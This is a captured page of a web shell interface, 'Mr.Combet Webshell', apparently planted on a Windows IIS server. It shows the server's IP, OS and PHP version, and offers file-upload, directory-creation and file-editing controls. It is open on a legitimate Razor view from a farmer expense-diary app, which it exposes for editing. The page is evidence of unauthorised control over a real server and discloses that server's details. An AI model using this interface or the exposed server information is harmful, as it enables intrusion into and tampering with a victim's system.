Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
VITA
/
Views
/
Map
/
FarmersDiary
/
Edit File Name :
_FarmerDiaryExpenseTab.cshtml
@model RER_Project.DataAccess.ViewModels.Baseline.BaselineViewModel <div class="table-responsive" style="margin-top: 16px;"> <table class="table table-bordered table-hover" name="tblExpenses_@ViewBag.FiscalYear@ViewBag.Quadrimester" id="tblExpenses_@ViewBag.FiscalYear@ViewBag.Quadrimester"> <thead> <tr> <th>Expense Head</th> <th style="text-align:center">Expense Amount (Rs)</th> <th>Unit</th> <th style="text-align:center">Expense Date (BS)</th> </tr> </thead> <tbody> </tbody> </table> <h3>Total Expense : <span id="totalExpense_@ViewBag.FiscalYear@ViewBag.Quadrimester"></span></h3> </div> <script type="text/javascript"> function loadExpense() { const ajax = request(); function request() { const url = '/farmer_diary/expense/member/' + @Model.MemberDetailView.Id + '/fiscal/' + @ViewBag.FiscalYear + "/quad/" + '@ViewBag.Quadrimester'; return window.getAjaxRequest(url, "Get", @Model.MemberDetailView.Id); } ajax.done(function (response) { addFarmerDiaryExpenseListToTable(response); }); ajax.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } function addFarmerDiaryExpenseListToTable(response) { ; console.log(response); $('#tblExpenses_@ViewBag.FiscalYear@ViewBag.Quadrimester tbody > tr').remove(); var table = $("#tblExpenses_@ViewBag.FiscalYear@ViewBag.Quadrimester tbody"); var totalExpense_@ViewBag.FiscalYear@ViewBag.Quadrimester = 0; let group = response.reduce((r, a) => { r[a.category] = [...r[a.category] || [], a]; return r; }, {}); for (var key in group) { var row = "<tr style='line-height:30px;background-color:#edf0ee;color:black'>"; var obj = group[key]; row += "<th >Product - " + key + " ( " + '@Model.MemberDetailView.CommodityName' +" )" + "</th>"; var sum = 0; obj.forEach(function (x) { sum += parseFloat(x.expense_amount); }); row += "<th style='text-align:right'><span> Total : Rs." + getNumberWithComma(sum) + "</span></th><th colspan='3'></th></tr>"; sum = 0; obj.forEach(function (x) { totalExpense_@ViewBag.FiscalYear@ViewBag.Quadrimester += parseFloat(x.expense_amount); row += "<td> <strong>-</strong> " + x.expense_head + "</td>"; row += "<td><strong><center>" + Number(parseFloat(x.expense_amount).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 2 }) + "</center></strong></td>"; row += "<td>" + x.unit + "</td>"; row += "<td><center>" + x.expense_date_nepali + "</center></td>"; $('#totalExpense_@ViewBag.FiscalYear@ViewBag.Quadrimester').text('Rs.' + getNumberWithComma(totalExpense_@ViewBag.FiscalYear@ViewBag.Quadrimester)); }) table.append(row); } } </script>
Save